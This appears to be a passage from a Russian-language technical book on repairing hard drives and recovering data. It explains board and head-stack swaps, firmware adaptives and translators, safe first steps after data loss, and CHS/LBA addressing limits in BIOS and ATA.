В этой главе будет идти речь о восстановлении данных. Ремонт винчестеров (за исключением редких случаев) или невозможен, или экономически нецелесообразен. Нашей задачей будет временное восстановление работоспособности жесткого диска, достаточное лишь для копирования самых ценных данных, в идеале — всего диска целиком. Мы рассмотрим исключительно общие вопросы ремонта жестких дисков, а в подробности пошаговой методики диагностики вдаваться не будем. Это — чрезвычайно обширная тема, заслуживающая отдельной книги и, к тому же, требующая индивидуального подхода к каждой конкретной модели диска. Заинтересованных читателей, желающих изучить данную тему углубленно, можно отослать к документации, представленной на сайте АСЕ Lab (http://www.acelab.ru/products/pc/traning.html). Фрагменты этой документации доступны, в том числе, и незарегистрированным пользователям. Так что не будем повторяться. Основная цель данной главы — продемонстрировать, что ремонт жестких дисков возможен и в домашних условиях.

Внутреннее устройство жесткого диска

Блок-схема типичного жесткого диска представлена на рис. 4.1. Жесткий диск состоит из гермоблока и платы электроники. В гермоблоке расположены:

□ шпиндельный двигатель, вращающий пакет из одного или нескольких магнитных дисков;

□ блок магнитных головок (БМГ), который ранее управлялся шаговым электродвигателем, а теперь работает под управлением устройства, известного как "звуковая катушка" (voice coil);

□ предусилитель-коммутатор чтения/записи, смонтированный в микросхеме, расположенной либо непосредственно на БМГ, либо на отдельной плате рядом с ней. В последнем случае замена коммутатора возможна без съема БМГ, что существенно упрощает его ремонт.

Рис. 4.1. Блок-схема типичного жесткого диска

Плата электроники содержит:

□ контроллер шпиндельного двигателя и звуковой катушки, управляющий вращением пакета дисков и позиционированием головок;

□ канал чтения/записи;

□ микроконтроллер, являющийся, по сути, "сердцем" винчестера;

□ контроллер диска, отвечающий за обслуживание интерфейса ATA.

Принципы ремонта жестких дисков

Древние жесткие диски стоили дорого, использовали целую россыпь микросхем с низкой степенью интеграции и серийные комплектующие, над которыми еще имело смысл подолгу зависать с осциллографом, выискивая неисправный элемент. Но затем степень интеграции начала стремительно нарастать, производители перешли на заказные чипы, а цены на винчестеры упали. Ремонтировать электронику стало не только сложно, но еще и нерентабельно.

Основным способом возвращения работоспособности жесткому диску стала замена всей платы контроллера целиком. Для этой цели берется диск идентичной модели (донор), и плата переставляется на гермоблок с восстанавливаемыми данными (акцептор). Исключение составляет мелкий ремонт, наподобие замены перегоревшего предохранителя или транзистора, который можно выполнить непосредственно на теле "пациента".

Возникает вопрос — если ремонтники уже давно ничего не ремонтируют, а только тасуют платы, зачем же к ним обращаться и платить деньги, когда эту операцию можно проделать и самостоятельно? Однако в данном случае проще сказать, чем реально сделать.

Во-первых, необходимо найти подходящего донора. У разных моделей винчестеров совместимость плат электроники существенно различна. Некоторые из них требуют совпадения всех цифр в номере модели, а некоторые соглашаются работать и с "родственным" контроллером. Есть и такие модели, которые могут не работать даже при полном совпадении всех букв и цифр, и тогда приходится перебирать одного донора за другим в надежде найти подходящий. Особенности поведения каждой модели можно почерпнуть из документации, прилагаемой к PC-3000, или найти в Интернете. Поиски доноров серьезно осложняются тем, что период производства большинства винчестеров намного меньше их среднего срока существования. Компьютерные магазины постоянно обновляют свой ассортимент, и приобрести модель, аналогичную той, что вы купили несколько лет назад, скорее всего, не удастся. Остаются радиорынки и фирмы, торгующие подержанными комплектующими, но и здесь выбор невелик.

Внимание!

"Неродной" контроллер может повредить микросхему коммутатора/предусилителя, расположенную внутри гермоблока, и разрушить служебную информацию, что существенно затруднит дальнейший ремонт. Никогда не переставляйте платы, если у вас есть хотя бы тень сомнения в их совместимости!

Во-вторых, помимо электроники, на плате контроллера имеется микросхема ПЗУ, в которой могут быть записаны индивидуальные настройки. В этом случае с чужой платой винчестер работать просто не будет! Тут есть два пути. Если акцептор еще подает признаки жизни, с него считывается оригинальная прошивка, которая затем записывается на плату донора. Если этот вариант не срабатывает, приходится перепаивать непосредственно само ПЗУ.

В-третьих, даже если винчестер "заведется" с чужой платой, последовательность нумерации секторов может оказаться нарушена, и файловая система превратится в мусор. Если это случится, разгребать этот мусор придется вручную или с помощью специализированных программных комплексов. Лучшим среди этих комплексов является Data Extractor, входящий в комплект PC-3000, но также способный работать и отдельно от него со штатным контроллером IDE.

Вообще говоря, никаких экстраординарных способностей для ремонта не требуется, и он вполне по силам мастерам средней руки. Отказ электроники — это еще полбеды. Гораздо хуже, если испорчена часть служебной информации, записанной на магнитных пластинах (эта тема будет освещена более подробно далее в этой главе). Это может произойти по разным причинам, наиболее распространенными среди которых являются: ошибки в прошивке, сбои питания, отказ электроники, вибрация/удары, деформация гермоблока. При этом жесткий диск не инициализируется или выдает сообщение об ошибке в ответ на любую команду. Некоторые винчестеры автоматически переходят в технологический режим, предназначенный для записи служебной информации, которая может быть передана либо через стандартный интерфейс ATA, либо через COM-терминал.

В состав PC-3000 входит большая коллекция разнообразных служебных модулей для популярных моделей жестких дисков, а всем зарегистрированным пользователем предоставляется бесплатный доступ к FTP-серверу, на котором можно найти практически все, что угодно. Как вариант, можно воспользоваться специализированными утилитами, распространяемыми производителями винчестера, выбрав режим обновления прошивки. Важно отметить, что при этом обновляются далеко не все модули; более того, далеко не для всех моделей такие утилиты существуют. К тому же, этот способ восстановления бесполезен, если в служебной зоне имеются физические дефекты или если накопитель "зависает" еще на старте, отказываясь входить в технологический режим. На этот случай существует метод горячей замены (hot-swap). В этой процедуре также участвуют два накопителя — донор и акцептор, но трансплантация осуществляется на лету. Акцептор обесточивается, с него снимается плата электроники, обнажая гермоблок. Донор подключается к шлейфу IDE, на него подается питание, затем, после завершения процесса инициализации и выдачи сигнала готовности, отдается команда ATA Sleep (95h), останавливающая шпиндельный двигатель. Все остальные узлы остаются под напряжением. Контроллер аккуратно свинчивается и переставляется на гермоблок акцептора. Затем ему подается любая команда для пробуждения (например, команда чтения сектора). Поскольку контроллер уже был проинициализирован, обращения к служебной зоне не происходит, и с диска удается считать всю уцелевшую информацию.

Примечание

При использовании штатного контроллера IDE необходимо заблаговременно отключить S.M.A.R.T, в настройках BIOS Setup, иначе винчестер будет производить запись протокола S.M.A.R.T, в служебную зону.

Требования к совместимости плат электроники — те же самые, что и в случае простой перестановки контроллера. В принципе, нет необходимости переставлять плату донора на акцептор. Можно взять плату акцептора, проинициализировать ее на гермоблоке донора, а затем вернуть обратно. Такой способ даже более предпочтителен, поскольку в этом случае акцептор будет работать со "своим" ПЗУ.

Ряд неисправностей требует вскрытия гермоблока и ювелирного мастерства рук. Первое место по частоте отказов занимает выход из строя одной или нескольких магнитных головок (рис. 4.2). Причиной может быть и заводской брак, и пробой электроники, и механическое воздействие (например, удар). Если головка остается физически неповрежденной, то одна из поверхностей перестает читаться, и тогда через каждые N секторов образуется BAD-сектор, где N — количество головок. Некоторые модели имеют 6 головок, некоторые — только одну, тогда при ее отказе диск становится полностью неработоспособным и не может прочитать даже служебную зону. Но и при отказе одной из шести головок информация превращается в труху. Все файлы, размер которых превышает 3 Кбайт (512×6), становятся "продырявленными". Что делать? Переставлять блок головок! Это очень сложная операция, и у начинающих мастеров в половине случаев она заканчивается фатально. Практиковаться на своем рабочем винчестере, который надо восстановить, категорически недопустимо! Сначала потренируйтесь на жестких дисках разной степени убитости, на которых нет ничего интересного.

Рис. 4.2. Блок магнитных головок с микросхемой коммутатора/предусилителя

Нам потребуется донор близкой модели. Точное совпадение всех цифр модели уже не обязательно, главное — чтобы БМГ был аналогичного типа. Некоторые диски паркуют головки за пределами внешней кромки магнитных пластин, некоторые — в специальной зоне близ центра шпинделя. Последний случай наиболее сложен. Ведь чтобы снять головки, их нужно протащить через всю поверхность, а допускать контакт головки с поверхностью нельзя, иначе магнитное покрытие будет разрушено!

Вооружившись тонкой полоской выгнутого и обезжиренного пластика, аккуратно заводим ее под каждую головку, так, чтобы пластик приподнимал головку над поверхностью, но сам ее не касался, и выводим головки за пределы внешний кромки. Чтобы головки не соприкасались и не царапали друг друга, между ними вставляется полоска полиэтилена, которую можно вырезать из антистатической упаковки жесткого диска (рис. 4.3). Заменяется только БМГ. "Родной" магнит звуковой катушки акцептора остается на месте. В зону парковки магнитные головки заводятся аналогичным образом, но в обратной последовательности. Остается лишь закрутить винт оси позиционера и надеть крышку на гермоблок. При включении винчестера практически наверняка раздастся жуткий звук, а скорость чтения упадет в десятки раз. Это — следствие работы с чужим БМГ, на "неродных" адаптивах. Подтягивая винты крышки, можно до некоторой степени выровнять график чтения. Долго в таком состоянии жесткий диск работать не может, поэтому необходимо как можно скорее приступать к вычитыванию поверхности, начиная с наиболее ценных данных. Более подробную информацию на эту тему можно найти в статье Сергея Казанского "Как я переставлял блок головок на Fujitsu MPG3409AH, чтобы спасти информацию. (Записки сумасшедшего ремонтника)": http://onehalf.pisem.net/stat/heads.html.

Рис. 4.3. Инструмент для перемещения БМГ, изготавливаемый из узкой полоски пластика (1), обжимаемого на разогретом металлическом стержне (2)

Некоторые жесткие диски содержат только одну магнитную головку, в случае отказа которой выгоднее переставлять саму пластину, как показано в уже упомянутом видеоматериале Сергея Яценко: http://pc3k.rsu.ru/video/video03_N40P_disk_swap.avi.

Также приходится сталкиваться и с "залипанием" магнитных головок, в прямом смысле слова прилипших к поверхности за счет сил межмолекулярного притяжения. Некоторые источники рекомендуют в этом случае просто крутануть диск в горизонтальном направлении, но польза от этого действия очень сомнительна, а вот вред оно может нанести немалый и зачастую непоправимый (например, повредить подвески головки с последующим фрезерованием магнитной поверхности). В этом случае лучше разобрать гермоблок и аккуратно приподнять головки с помощью уже знакомого нам куска изогнутого пластика, вернув их в зону парковки. Подробности — в статье Сергея Яценко: "Восстановление гермоблока IBM DJNA371350 после падения": http://www.acelab.ru/pcTechSupport/DOSvers/MFGFeature//IBM/VGPP.html (к сожалению, доступной только для зарегистрированных пользователей PC-3000).

Кроме того, встречаются случаи повреждения коммутатора/предусилителя или обрыва гибкого шлейфа. Если коммутатор/предусилитель расположен непосредственно на БМГ (особенно в микросхеме бескорпусного исполнения), то весь БМГ заменяется целиком по вышеописанной методике.

Звуковая катушка, в силу своей конструктивной простоты, не отказывает практически никогда (там просто нечему ломаться), но вот выводные провода обломаться могут. К счастью, их легко припаять.

Шпиндельный двигатель очень надежен и перегорает/замыкает обмотки только в исключительных случаях. Однако заклинивание гидродинамического подшипника — вполне распространенное явление. Если это происходит, то подшипник приходится расклинивать по методике, описанной в статье http://www.acelab.ru/pcTechSupport/DOSvers/TechDoc/Barracuda4.html (к сожалению, доступной только для зарегистрированных пользователей PC-3000).

Прошивка и адаптивы жесткого диска

Электроника диска — это только скелет. Без управляющих микропрограмм она работать не будет! Первые модели винчестеров хранили микропрограммы в ПЗУ, что создавало неудобства и накладывало определенные ограничения. Теперь же для этой цели используется сам жесткий диск! Разработчик резервирует некоторый объем дискового пространства и размещает в нем весь необходимый код и все необходимые данные. Эта информация организована в виде модулей (слабое подобие файловой системы) и управляется специализированной операционной системой. В ПЗУ остается лишь базовый код, своеобразный "фундамент" винчестера. Некоторые производители пошли еще дальше, убрав из ПЗУ все, кроме первичного загрузчика.

Само ПЗУ может быть расположено как внутри микроконтроллера, так и на отдельной микросхеме. Практически все винчестеры имеют микросхему FLASH-ROM, но не на всех моделях она распаяна. Если микросхема FLASH-ROM установлена, то микроконтроллер считывает прошивку из нее, если нет — обращается к своему внутреннему ПЗУ.

Часть модулей (и информации, находящейся в ПЗУ) одинакова для всей серии винчестеров. К ней, в первую очередь, относится совокупность управляющих микропрограмм. Эти модули полностью взаимозаменяемы, и один диск свободно может работать с модулем другого без каких-либо последствий.

Часть модулей (реже — информации из ПЗУ) готовится отдельно для каждой партии. Например, паспорт диска, описывающий его конфигурацию, указывает количество головок, физических секторов и цилиндров. В процессе инициализации микропроцессор опрашивает коммутатор и перечисляет головки. Если их количество не совпадает с указанным в паспорте, винчестер может "забастовать" и отказаться инициализироваться. Зачастую производители отключают некоторые головки из-за дефектов поверхности, неисправностей самых головок, или же по маркетинговым соображениям. Как следствие — образуются внешне очень похожие модели-близнецы, для которых непосредственная перестановка плат все же невозможна. В этом случае паспорт приходится корректировать, для чего опять-таки понадобится PC-3000. Однако, в принципе, подобрать донора с идентичным паспортом вполне возможно и без коррекции.

Основным источником неприятностей при ремонте являются модули (и, довольно часто, информация, прошитая в ПЗУ), которые уникальны для каждого экземпляра винчестера и настраиваются строго индивидуально. В частности, каждый жесткий диск имеет, как минимум, два списка дефектов — первичный список, или P-list (Primary list) и растущий список, или G-list (Growing list). В P-list заносятся номера дефектных секторов, обнаруженные еще на стадии заводского тестирования, a G-list формируется самим жестким диском в процессе его эксплуатации. Если запись в сектор происходит с ошибкой, сбойный сектор переназначается другим сектором, взятым из резервной области. Некоторые жесткие диски поддерживают список "подозрительных секторов": если сектор начинает читаться не с первого раза, он замещается, а информация о замещении сохраняется либо в отдельном списке, либо в G-list.

Все эти процессы протекают скрытно от пользователя. Специальный модуль, называемый транслятором, переводит физические адреса в номера логических блоков или виртуальные номера CHS (цилиндр-головка-сектор), и внешне нумерация секторов не нарушается. Все работает нормально до тех пор, пока P- или G-списки не оказываются разрушенными, или пока на гермоблок не устанавливается плата с чужими настройками. Если P/G-списки хранятся во FLASH-ROM (а часто так и бывает), файловая система оказывается полностью неработоспособной, ведь трансляция адресов нарушена! При этом, хотя на секторном уровне все читается нормально, становится совершенно непонятно, какой сектор какому файлу принадлежит.

К счастью, восстановить транслятор довольно просто, поскольку практически все файловые структуры (да и сами файлы) имеют характерные последовательности байт (сигнатуры). Для начала нужно очистить таблицы транслятора (сгенерировать пустые P/G-списки), в противном случае сектора, помеченные у донора как замещенные, не смогут быть прочитаны на акцепторе. Различные винчестеры имеют различное число замещенных секторов. В некоторых винчестерах замещенных секторов может не быть вообще, в то время как на других их количество может доходить до нескольких тысяч. Формат P/G-списков варьируется от одной модели к другой, и для работы с ним лучше всего применять PC-3000. В экстренных случаях, если в вашем распоряжении нет PC-3000, можно применить утилиты от производителей винчестера и дать команду ATA unassign.

Затем необходимо просканировать весь диск на предмет поиска характерных сигнатур и занести их "физические" адреса в список. Естественно, эти адреса не являются "физическими" в подлинном смысле этого слова. На самом деле они представляют собой логические адреса без переназначенных секторов.

На данном этапе, исследуя служебные структуры файловой системы (каталоги, MFT), мы определяем номера кластеров подчиненных структур. Переводим кластеры в сектора и создаем еще один список. В результате будет получено два списка, между которыми прослеживается четкая корреляция. Первый список как бы "растягивается" вдоль второго. Иными словами, каждый переназначенный сектор увеличивает расхождение между последующими "физическими" и логическими адресами на единицу. Проделав необходимые математические вычисления, можно рассчитать необходимую поправку и частично восстановить транслятор. Слово "частично" используется потому, что целевые адреса замещенных секторов остаются неизвестными, а это значит, что в восстанавливаемых данных образуются "дыры". Тем не менее, большая часть информации все же будет возвращена из небытия. Аппаратно-программный комплекс PC-3000 автоматически восстанавливает транслятор, используя довольно продвинутые алгоритмы, которые постоянно совершенствуются. Кстати, при желании утилиту для восстановления транслятора можно написать и самостоятельно, но для этого нужно быть настоящим профессионалом.

К сожалению, ни PC-3000, ни другие аппаратно-программные комплексы не всемогущи. Например, ни один из них не способен восстанавливать адаптивы. Адаптивы начали доминировать сравнительно недавно. До этого индивидуальные настройки диска сводились к высокоуровневым наслоениям, никак не препятствующим чтению информации на физическом уровне. Перестановка плат могла привести к невозможности работы с диском средствами операционной системы, но данные всегда было можно прочитать посекторно стандартными командами ATA или, на худой конец, на уровне физических адресов в технологическом режиме.

Но плотность информации неуклонно росла, нормативы допусков ужесточались, а это значит, что усложнялся и дорожал производственный цикл. В промышленных условиях невозможно изготовить два абсолютно одинаковых жестких диска. Справиться с неоднородностью магнитного покрытия, влекущего за собой непостоянство параметров сигнала головки в зависимости от угла поворота позиционера, чрезвычайно сложно. Таким образом, производитель должен выбрать один из перечисленных ниже путей.

1. Уменьшить плотность информации до той степени, при которой рассогласованиями можно пренебречь. Однако в этом случае для достижения той же емкости придется устанавливать в диск больше пластин, что удорожает конструкцию и вызывает новые проблемы.

2. Улучшить качество производства. Это хороший вариант, но при современном уровне развития науки, технологий и экономики он настолько нереален, что даже не обсуждается.

3. Индивидуально калибровать каждый жесткий диск, записывая на него так называемые адаптивные настройки. Именно этот вариант и был выбран производителями, что и привело к появлению адаптивов.

Состав и формат адаптивов меняется от модели к модели. В грубом приближении, в состав адаптивов входят: ток записи, усиление канала, профиль эквалайзера, напряжение смещения для каждой головки, таблица коррекции параметров каждой головки для каждой зоны и т.д., и т.п. Без своих "родных" адаптивов жесткий диск просто не будет работать! Даже если произойдет чудо, и "чужие" адаптивы все-таки подойдут (а чудес, как известно, не бывает), то информация будет считываться крайне медленно и с большим количеством ошибок. Подобрать адаптивы нереально, рассчитать их в "домашних" условиях — тоже. Но ведь как-то же эти адаптивы возникают? Чисто теоретически для заполнения таблицы адаптивов не нужно ничего, кроме самого винчестера, и некоторые модели жестких дисков даже содержат в прошивке специальную программу Self Scan, как раз и предназначенную для этих целей. Да, она действительно рассчитывает адаптивы, но… при этом уничтожает всю содержащуюся на жестком диске информацию, что делает ее непригодной для наших целей.

Адаптивы могут храниться как на самом диске в служебной зоне (и тогда смена плат проходит на ура, но не работает hot-swap), либо в микросхеме FLASH-ROM, которую перед заменой плат следует перепаять. Диски без адаптивов встречаются все реже и реже, можно сказать, что практически вообще не встречаются.

Часть II

Автоматическое и ручное восстановление данных с жестких дисков

Глава 5

Основные концепции ручного восстановления данных

Долгое время главным козырем противников NTFS был следующий аргумент — чем вы будете ее восстанавливать в случае, если она окажется поврежденной? А ведь повреждения файловой системы возникают достаточно часто! При всей своей надежности файловая система NTFS не застрахована от потрясений. Ошибки оператора, вирусы, сбои питания, зависания ОС, дефекты поверхности, отказ электроники — любой из этих факторов может стать причиной повреждения, а то и разрушения файловой системы. С каждым днем человечество все сильнее и сильнее зависит от компьютеров, объемы жестких дисков стремительно растут, а с ними растет и ценность содержащихся на них данных, потеря которых зачастую невосполнима.

Спрос рождает предложение, и на рынке информационных услуг постоянно появляются фирмы, специализирующиеся на восстановлении данных. К сожалению, действительно квалифицированных специалистов можно встретить лишь в некоторых из них. Многие из них лишь создают видимость кипучей деятельности, выставляя астрономические счета при посредственном качестве восстановления. Но время кустарей уже ушло. Рабочая атмосфера изменилась. Хакеры разобрались со строением NTFS и документировали ее ключевые структуры. Начал формироваться достойный инструментарий для ручного восстановления. За минувшее время накопился огромный опыт по борьбе за спасение данных, частью которого я и хочу поделиться с читателями.

Что делать в случае катастрофической потери данных

Прежде всего — не паникуйте! Заниматься восстановлением можно только на трезвую голову. Непродуманные, лихорадочные действия только усугубляют ваше и без того незавидное положение.

Не используйте никаких автоматизированных утилит, если полностью в них не уверены. Последствия такого "лечения" могут быть катастрофическими, а результаты "восстановления" — необратимыми. То же самое относится и к "специалистам", обитающим в фирмах непонятного происхождения и орудующим все теми же автоматизированными утилитами, которыми вы можете воспользоваться и без них. Некоторые пытаются создавать необходимый инструментарий самостоятельно. Чаще всего он оказывается неработоспособным еще с рождения, но зато какая гордость для фирмы! Какое впечатляющее средство демонстрации собственной крутизны! Часто маркетологи этих фирм абсолютно необоснованно заявляют, что разработка их фирмы превосходит все имеющиеся утилиты вместе взятые, как коммерческие, так и условно-бесплатные. Но поверьте, что хорошо известные и давно представленные на рынке утилиты (например, GetDataBack) тоже писали отнюдь не профаны, причем делалось это при непосредственном участии разработчиков оригинального драйвера NTFS, хорошо знающих все его тонкости и особенности поведения. Это лучшее из того, что есть на рынке, и пока еще никому не удалось их превзойти!

Примечание

Разумеется, в данном случае речь идет лишь об автоматизированном восстановлении.

Ничего не записывайте на восстанавливаемый диск и не позволяйте делать это остальным приложениям! Если вы случайно удалили файл с системного диска, ни в коем случае не выходите из Windows официально предписанным способом. Лучше нажмите кнопку RESET. Почему я даю такую "неправильную" рекомендацию? Она "некорректна" только на первый взгляд, а на самом деле это — самый полезный совет, который только можно дать. Дело в том, что при штатном завершении сеанса система сохраняет на диске текущую конфигурацию, существенно увеличивая риск необратимого затирания удаленного файла.

Не пытайтесь "мучить" сбойные сектора многократными попытками чтения, так как это лишь расширяет дефектную область на соседние сектора и может даже привести к повреждению магнитной головки. Если магнитная головка окажется изуродованной, перестанут читаться даже здоровые сектора. Лучше выполните длинное (long) чтение с диска, предварительно отключив контролирующие коды, тогда контроллер возвратит все, что осталось от сектора (ведь зачастую сбой затрагивает только несколько байт).

Если винчестер издает подозрительные звуки вроде постукивания или скрежета, немедленно отключите питание компьютера (опять-таки, не позволяя системе ничего писать на диск), поскольку винчестер может доломаться окончательно в любой момент, и тогда ему уже никакой электронщик не поможет.

Восстанавливайте диски SCSI (и, в особенности, RAID) только на "родном" контроллере, так как различные контроллеры используют различные схемы трансляции адресов. Если же контроллер отказал, его следует либо отремонтировать, либо заменить абсолютно идентичным. С дисками IDE в этом плане возникает гораздо меньше проблем, так как их контроллеры более или менее стандартизованы. Тем не менее, с дисками большого объема (свыше 528 Мбайт) тоже начинается неразбериха и путаница, ставящая их в зависимость от конкретной BIOS и от выбранного режима работы (NORMAL, LBA или LARGE). Если восстанавливаемый диск работает под управлением нестандартных драйверов, например, Rocket, OnDisk, и т.д., то они должны присутствовать и на загрузочной дискете или загрузочном CD, с которых производится восстановление.

Наконец, если данные восстановить так и не удалось — не расстраивайтесь. Во всех жизненных ситуациях надо видеть и хорошие стороны, даже когда ничего хорошего ожидать не приходится.

Основные сведения о структуре диска

Физически жесткий диск представляет собой запечатанный корпус, содержащий одну или несколько одно- или двусторонних пластин, насаженных на шпиндель. Чтение и запись данных осуществляются блоком магнитных головок, каждая из которых обслуживает одну из поверхностей пластины. Информация хранится на дорожках в форме концентрических колец, называемых треками (track). Треки, расположенные на равном расстоянии от центра всех пластин, образуют цилиндр (cylinder). Фрагмент трека, образованный радиальным делением, называется сектором (sector). В современных винчестерах количество секторов на трек не остается постоянным. Напротив, оно дискретно возрастает по мере удаления от центра пластины, таким образом, чтобы линейные размеры сектора оставались более или менее постоянными. Треки и головки нумеруются, начиная с нуля, а нумерация секторов начинается с единицы. Размер сектора для жестких дисков составляет 512 байт.

Первой схемой адресации секторов, доставшейся жестким дискам в наследство от дискет, стала так называемая CHS-адресация, представляющая собой сокращение от Cylinder/Head/Sector (Цилиндр/Головка/Сектор). Данная схема адресации возникла под давлением экономических причин. Когда-то координаты адресуемого сектора непосредственно соответствовали физической действительности, что упрощало и удешевляло дисковый контроллер, не требуя от него никакого интеллектуального поведения. Надо сказать, что дешевизна контроллера является единственным преимуществом данного метода. Эта схема адресации чудовищно неудобна для программистов, так как последовательное чтение диска растягивается на три вложенных цикла. Косность же этой системы граничит с неприличием! Количество секторов в треке должно быть постоянным для всего диска, а в новых винчестерах это не так. Поэтому для сохранения обратной совместимости с существующим программным обеспечением дисковый контроллер виртуализует геометрию винчестера. Это ставит нас в зависимость от выбранной схемы трансляции, которая представляет собой дело сугубо внутреннее и, следовательно, не поддающееся стандартизации. Параметры диска, сообщаемые устройством и напечатанные на этикетке, всегда виртуальны, и узнать реальное положение дел невозможно.

Диски IDE имеют интегрированный контроллер, поэтому они в наименьшей степени зависимы от внешнего мира и могут свободно переноситься с компьютера на компьютер. Разумеется, такой перенос возможен только при условии корректного поведения BIOS (более подробно эта тема будет рассмотрена далее в этой главе). Некоторые винчестеры поддерживают специальную команду ATA — Initialize device parameters, устанавливающую текущую виртуальную геометрию диска, а точнее — выбранное количество головок и число секторов на дорожку. Количество цилиндров вычисляется контроллером самостоятельно, на основании общего объема диска, который также можно изменять программными средствами (за это отвечает команда ATA SET MAX ADDRESS). Некоторые драйверы и реализации BIOS изменяют геометрию диска, жестко привязывая винчестер к себе. В другом окружении такой диск работать уже не будет, во всяком случае, до установки правильной геометрии.

С устройствами SCSI ситуация обстоит гораздо хуже, и диск соглашается работать только с тем контроллером, под которым он был отформатирован. Различные контроллеры используют различные схемы трансляции. Поэтому подключение диска к несовместимому контроллеру произвольным образом "перемешивает" сектора. Редактор диска с таким винчестером работать еще будет, а вот штатные средства операционной системы и большинство "докторов" — нет.

Продвинутые контроллеры автоматически замещают плохие сектора, либо сохраняя эту информацию в своей энергонезависимой памяти, либо записывая ее в сектора инженерной зоны самого диска. Это еще сильнее привязывает накопитель к его контроллеру, хотя некоторые диски SCSI выполняют переназначение секторов собственными средствами. Выход контроллера SCSI из строя фактически приравнивается к отказу самого диска. Никогда не приобретайте контроллеры SCSI no-name производителей, так как такие фирмы в любой момент могут кануть в лету, и тогда поставки новых контроллеров прекратятся. Контроллеры, интегрированные в материнские платы, вообще никуда не годятся. Они ненадежны и ни с чем не совместимы. Впрочем, разве можно требовать хоть какого-то качества за такие цены? Скупой, как известно, платит дважды!

Сложнее всего обстоят дела с аппаратными реализациями RAID, схема трансляции адресов которых полностью определяется контроллером. Массивы уровня 1, известные как зеркальные наборы (mirror sets), чаще всего используют сквозную (pass-through) трансляцию. Поэтому они без особых проблем могут быть перенесены на любой другой контроллер, или даже подключены в обход него. Массивы остальных уровней, в особенности RAID 3/RAID 5, как правило, оказываются неработоспособными на контроллерах другого типа. Программные реализации RAID, монтируемые Windows NT, хранят информацию о своей геометрии в системном реестре и не могут быть непосредственно перенесены на другие системы. Переустановка Windows NT, как и ее крах, уничтожает программный RAID. К счастью, эта потеря обратима, и впоследствии секреты техники восстановления будут рассмотрены более подробно.

На сегодняшний день схема трансляции CHS признана устаревшей. Так, устройства, придерживающиеся спецификации ATA/ATAPI-6, принятой в июне 2001 года, уже не обязаны ее поддерживать. Тем не менее, она до сих пор встречается во многих служебных структурах операционной системы, в частности, в таблице разделов и загрузочном секторе. Именно поэтому имеет смысл остановиться на этом вопросе поподробнее, тем более что здесь есть о чем поговорить.

На интерфейсном уровне адрес сектора передается, как показано в листинге 5.1.

Листинг 5.1. Интерфейс с диском IDE в режиме CHS

Порт      Значение

0172/01F2 Количество секторов

0173/01F3 Номер сектора (биты 0-7)

0174/01F4 Номер цилиндра (биты 0-7)

0175/01F5 Номер цилиндра (биты 8-15)

0176/01F6 Номер головки (биты 0-3), привод на шине (бит 4),

          режим CHS/LBA (бит 6)

Сервисные функции BIOS, напротив, адресуют диск несколько иначе, как показано в листинге 5.2.

Листинг 5.2. Интерфейс с прерыванием BIOS INT13h

Регистр Значение

AL      Количество секторов для обработки

CH      Номер цилиндра (биты 0-7)

CL      Номер цилиндра (биты 6-7), номер сектора (биты 0-5)

DH      Номер головки

DL      Привод на шине | 80h

Таким образом, BIOS отводит на адресацию цилиндров всего 10 бит. Потому максимальное количество цилиндров на диске не превышает 1024, что при четырехбитной адресации головок дает предельно достижимый объем диска в 512×210×26×24 == 536870912 байт или всего 512 Мбайт. Это просто смешно, так как производители винчестеров преодолели этот барьер уже много лет назад. С тех пор в мире операционных систем произошло множество изменений. Старушка MS-DOS ушла в небытие, а пришедшая ей на смену Windows работает с диском через собственный драйвер, и ограничения BIOS ее почти не касаются.

Примечание

Почему почти? Вспомните, что первичную загрузку операционной системы осуществляет именно BIOS! При этом, если системные компоненты расположены в секторах, находящихся за пределами 1024 сектора, операционная система не загружается! Причем это относится ко всем операционным системам, а не только к критикуемой Windows!

Для преодоления этого ограничения BIOS вводит дополнительный уровень трансляции (режим LARGE), что позволяет увеличить количество головок. К счастью, BIOS выделяет для их адресации не 4 бита, как контроллер диска, а целых 8. Предельно допустимый объем диска теперь составляет 512×210×26×28 = 8589934592 байт или 8 Гбайт. К сожалению, это всего лишь теоретический предел. На практике же большинство реализаций BIOS содержали грубые ошибки, вследствие которых при работе с дисками размером свыше 2 Гбайт они либо банально зависали, либо теряли старшие разряды цилиндра, обращаясь к началу диска и необратимо уничтожая все служебные структуры. До сих пор многие вполне современные реализации BIOS не позволяют адресовать более 64 виртуальных головок, что ограничивает предельно допустимый объем диска все тем же значением, равным 2 Гбайт.

Поэтому при переустановке Windows поверх старой версии на логический диск емкостью свыше 2 Гбайт она может перестать загружаться. Все очень просто! Когда система ставится на только что отформатированный диск, она располагает все свои файлы в самом начале, но по мере заполнения диска область свободного пространства отодвигается все дальше к концу. Отодвинуть файлы первичной загрузки может и дефрагментатор. Тот же результат может быть получен и в результате установки пакета обновления (Service Pack). Иными словами, владельцам больших винчестеров настоятельно рекомендуется разбить его на несколько разделов и установить размер первого (загрузочного) раздела не более, чем в 8 Гбайт, а лучше даже в 2 Гбайт.

Устройства SCSI изначально поддерживают прозрачный механизм логической адресации, или сокращенно LBA (Linear Block Address), последовательно нумерующий все сектора от 0 до последнего сектора диска. В накопителях IDE режим адресации LBA появился, только начиная с ATA-3, но быстро завоевал всеобщее признание. Разрядность адресации определяется устройством. В SCSI она изначально 32-битная, а устройства IDE вплоть до принятия спецификации ATA-6 были ограничены 28 битами, которые распределялись, как показано в листинге 5.3.

Листинг 5.3. Интерфейс с диском IDE в режиме LBA

Порт      Значение

0172/01F2 Количество секторов

0173/01F3 Номер сектора (биты 0-7)

0174/01F4 Номер сектора (биты 8-15)

0175/01F5 Номер сектора (биты 16-24)

0176/01F6 Номер сектора (биты 24-28), привод на шине (бит 4),

          режим CHS/LBA (бит 6)

Как видите, 28-битная адресация обеспечивает поддержку дисков объемом вплоть до 128 Гбайт, однако включение в BIOS поддержки LBA еще не отменяет 8-гигабайтного ограничения, так как номер последнего адресуемого цилиндра по-прежнему остается равным 1024, со всеми вытекающими последствиями. Диски SCSI, за счет их подлинно 32-битной адресации, поддерживают законные 2 Тбайт, так как они управляются собственной BIOS, на которую не наложено никаких унаследованных ограничений.

Утвержденная ATA-6 48-битная адресация расширяет предельно допустимые размеры дисков IDE до астрономических величин (а именно, до 131,072 Тбайт), по крайней мере, в теории. На практике в Windows 2000 с пакетом обновления SP2 или более ранним отсутствует поддержка 48-битного режима LBA. Поэтому для работы с большими дисками необходимо обновить драйвер Atapi.sys и добавить в состав ключа реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\atapi\Parameters параметр EnableBigLba с типом данных DWORD и значением, равным 1 (более подробную информацию можно найти в статье Microsoft Knowledge Base: 260910).

